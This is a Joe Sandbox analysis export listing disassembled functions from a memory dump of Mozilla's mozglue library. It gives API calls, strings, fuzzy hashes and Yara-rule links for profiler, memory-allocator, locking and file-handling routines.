Opcode Fuzzy Hash: 329e7fc1c37a621cbc185f016b8a4fb2db42528188e39322233e92b978dd118f
Instruction Fuzzy Hash: AB318F71B00254CBCF00EFA9C8589AEF7B5FF8A324B544559DA06977C0DB31A806CF91

Function 6CB21D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB21D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB21BE3,?,?,6CB21D96,00000000), ref: 6CB21D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB21BE3,?,?,6CB21D96,00000000), ref: 6CB21D4C
GetCurrentThreadId.KERNEL32 ref: 6CB21DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB21DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB21DDA

Part of subcall function 6CB21EF0: GetCurrentThreadId.KERNEL32 ref: 6CB21F03
Part of subcall function 6CB21EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB21DF2,00000000,00000000), ref: 6CB21F0C
Part of subcall function 6CB21EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB21F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB21DF4

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 522a2e2748f07ec54353cf346872d6ef270a34375a4ce7c4e8ec5c384d5d5ca4
Instruction ID: 7a2ad9421e03e01dc2ac11fc8ff2eb9136b56eb5a066c61259865a921d4054d7
Opcode Fuzzy Hash: 522a2e2748f07ec54353cf346872d6ef270a34375a4ce7c4e8ec5c384d5d5ca4
Instruction Fuzzy Hash: 8C4188B52007449FCB10DF29C488A6ABBF9FB89314F54442EE99A87B41CB35F854CB91

Function 6CB184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB185AC

Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1767F
Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB17693
Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB185B2

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 566011c55ab49042c5fa3aeecd0dc96ac5fe0dc2e89a07569d4958a94e214c8c
Instruction ID: e38e1ff56de912802da62a59eb3f70e09cec51ed865845ca914a7992129d7425
Opcode Fuzzy Hash: 566011c55ab49042c5fa3aeecd0dc96ac5fe0dc2e89a07569d4958a94e214c8c
Instruction Fuzzy Hash: F9218D742046418FDB14DF29C888A6AB7B9FF4430CF25482DE55F83B41DB32E948CB52

Function 6CB1F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB1F598), ref: 6CB1F621

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F637
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F645
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB1F62A

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 746b8c99cd85f2416925abbf21e3bdd4f04cd0aa3ca98bd645b1139e5e972e2a
Instruction ID: a70fdbb0ed5b8aecad28a23f96d3aa6898d26f7e7cb6a767a035101634721ba9
Opcode Fuzzy Hash: 746b8c99cd85f2416925abbf21e3bdd4f04cd0aa3ca98bd645b1139e5e972e2a
Instruction Fuzzy Hash: 2111C675305284ABDB04AF59D8489E9B779FF8636CB940415EA05C3F41CB72AC21CBA1

Function 6CAE0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB0D9F0,00000000), ref: 6CAE0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAE0F3C
__Init_thread_footer.LIBCMT ref: 6CAE0F50
FreeLibrary.KERNEL32(?,6CB0D9F0,00000000), ref: 6CAE0F86

Strings

combase.dll, xrefs: 6CAE0F18
CoInitializeEx, xrefs: 6CAE0F36

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b5a663bba1cae27ec6b9cdd66e9bed505e41db6150ad711bc985332bb1434afd
Instruction ID: bda3be2ccb396f648877883dd6a7f2151781772c3d9bac320cbdcad2c612eaaf
Opcode Fuzzy Hash: b5a663bba1cae27ec6b9cdd66e9bed505e41db6150ad711bc985332bb1434afd
Instruction Fuzzy Hash: B311C2757052809BDF00DF54E908E5ABB74FB4E325F884629E90593744DB30E851DA95

Function 6CB1F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F561

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F577
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F585
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB1F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CB1F3A8
[I %d/%d] profiler_resume, xrefs: 6CB1F239
[I %d/%d] profiler_resume_sampling, xrefs: 6CB1F499

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3dc9a83f43f552dcaf22ba6f66cbe0a813a3ee4b079c02673abe2642e1ad7a41
Instruction ID: 96d1669424cde2b8d6835f79c8f3abcaafc6dcc1d4925fdca853dad14fe0b5f0
Opcode Fuzzy Hash: 3dc9a83f43f552dcaf22ba6f66cbe0a813a3ee4b079c02673abe2642e1ad7a41
Instruction Fuzzy Hash: C1F089757043849FEF006F65D84896EB7BDEB862ADF840415FA05D3B01DB754C05C765

Function 6CB1F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB1F598), ref: 6CB1F621

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F637
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F645
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB1F62A

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 951b5a01389065cdda92a6244e4f5046984b7fc1be68252006be0793db8a96d1
Instruction ID: 54f342bb211d782462c164165bfc34c6f97be1f131ec9e009df453a5a6864313
Opcode Fuzzy Hash: 951b5a01389065cdda92a6244e4f5046984b7fc1be68252006be0793db8a96d1
Instruction Fuzzy Hash: BEF08275704384AFEF006F65D848AAABBBDEB8A2ADF840415FA05D3B41CB764C05CB75

Function 6CB105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB0CFAE,?,?,?,6CAD31A7), ref: 6CB105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB0CFAE,?,?,?,6CAD31A7), ref: 6CB10616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAD31A7), ref: 6CB1061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAD31A7), ref: 6CB10627

Strings

<jemalloc>, xrefs: 6CB105FA, 6CB1060F
: (malloc) Error in VirtualFree(), xrefs: 6CB1061B, 6CB10625

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: aec3797a53cb152ab92f35248fdacf5cde6c038a58ba0ba835b6625231e14e2d
Instruction ID: 4ca2ff03751c897311188b7f8921b97ac33b4f9aac7fc63901ad7eae4e1c3a23
Opcode Fuzzy Hash: aec3797a53cb152ab92f35248fdacf5cde6c038a58ba0ba835b6625231e14e2d
Instruction Fuzzy Hash: 9BE08CE2A0515037F5142256AC86DBB761DDBC6538F080039FD0D83301E95AAD1E61F6

Function 6CAE05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74eae203fccf25cce24fa0ec93f0b99c23304365e1ae95f0a3ac04cf9cac28e1
Instruction ID: a37897ad48856f16fd494389f66f5e0b1d6d08cbd3e441d1b0989cfd1cc3abe4
Opcode Fuzzy Hash: 74eae203fccf25cce24fa0ec93f0b99c23304365e1ae95f0a3ac04cf9cac28e1
Instruction Fuzzy Hash: D8A138B0A00645CFDB14CF29C594B9AFBF1BF49304F54866ED48A97B00EB70A995DF90

Function 6CB314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB314E2
GetCurrentThreadId.KERNEL32 ref: 6CB31546
InitializeConditionVariable.KERNEL32(?), ref: 6CB315BA
free.MOZGLUE(?), ref: 6CB316B4

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: daede5e9ba1526055539c3cd6f11ea29fcda25f6e8d281274f3a506a50af4759
Instruction ID: a6830df479d55ba2cb457206573ea7d993928a5827ebb7d081de66dc0df97b19
Opcode Fuzzy Hash: daede5e9ba1526055539c3cd6f11ea29fcda25f6e8d281274f3a506a50af4759
Instruction Fuzzy Hash: 1C610371A007949BDB118F21C880BEEB7B8FF89308F49951CED8A57701DB34E949CB92

Function 6CB2DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB2D38A,?), ref: 6CB2DC6F
free.MOZGLUE(?,?,?,?,?,6CB2D38A,?), ref: 6CB2DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB2D38A,?), ref: 6CB2DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB2D38A,?), ref: 6CB2DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB2D38A,?), ref: 6CB2DD4A

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 7b03e80abb32786effb1fb7bf33074ad55347ca31ad0912f0f10c0a263a4a2ba
Instruction ID: 1a2a695937b84f6cad00caa3d2188a382b331d051ab84d19fb4f73b399f0bf45
Opcode Fuzzy Hash: 7b03e80abb32786effb1fb7bf33074ad55347ca31ad0912f0f10c0a263a4a2ba
Instruction Fuzzy Hash: DE418D75A00615CFCB04CFA9D8809AEBBF5FF88314B554569D94AA7B10D735FC41CB90

Function 6CB16590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0FA80: GetCurrentThreadId.KERNEL32 ref: 6CB0FA8D
Part of subcall function 6CB0FA80: AcquireSRWLockExclusive.KERNEL32(6CB5F448), ref: 6CB0FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB16727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB167C8

Part of subcall function 6CB24290: memcpy.VCRUNTIME140(?,?,6CB32003,6CB30AD9,?,6CB30AD9,00000000,?,6CB30AD9,?,00000004,?,6CB31A62,?,6CB32003,?), ref: 6CB242C4

Strings

data, xrefs: 6CB16593

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 3cdc8bb839bc77594f70b8464506a0e22e13db428d5130475f72b2e1f263db06
Instruction ID: 0ffdcd56c23d30d122d0fe82fe84b9b72cb531103b7686232bad4b5e07821714
Opcode Fuzzy Hash: 3cdc8bb839bc77594f70b8464506a0e22e13db428d5130475f72b2e1f263db06
Instruction Fuzzy Hash: E1D1AF75A083808BD724DF25D851BAEBBE5EFD5308F10892DE58987B91DB30A849CB53

Function 6CB0D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CADEB57,?,?,?,?,?,?,?,?,?), ref: 6CB0D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CADEB57,?), ref: 6CB0D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CADEB57,?), ref: 6CB0D673
free.MOZGLUE(?), ref: 6CB0D888

Strings

|Enabled, xrefs: 6CB0D81E

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: b4630a2d7f972ddf8e07b6c138b9fcaac1f40cb734f85dea3eba2085e6852527
Instruction ID: 3b8fe5846bbc6d3b27e2489d7f63d8c802b6cd2cd5e9f005d4ce1cd508d1d3a3
Opcode Fuzzy Hash: b4630a2d7f972ddf8e07b6c138b9fcaac1f40cb734f85dea3eba2085e6852527
Instruction Fuzzy Hash: 5FA1D0B0A003858FDB11CF68D4907AEBFF1EF49318F58805CD899AB781D735A849CBA1

Function 6CB0F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB0F480

Part of subcall function 6CADF100: LoadLibraryW.KERNEL32(shell32,?,6CB4D020), ref: 6CADF122
Part of subcall function 6CADF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CADF132

CloseHandle.KERNEL32(00000000), ref: 6CB0F555

Part of subcall function 6CAE14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAE1248,6CAE1248,?), ref: 6CAE14C9
Part of subcall function 6CAE14B0: memcpy.VCRUNTIME140(?,6CAE1248,00000000,?,6CAE1248,?), ref: 6CAE14EF

Part of subcall function 6CADEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CADEEE3

CreateFileW.KERNEL32 ref: 6CB0F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB0F523

Strings

\oleacc.dll, xrefs: 6CB0F4CB

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
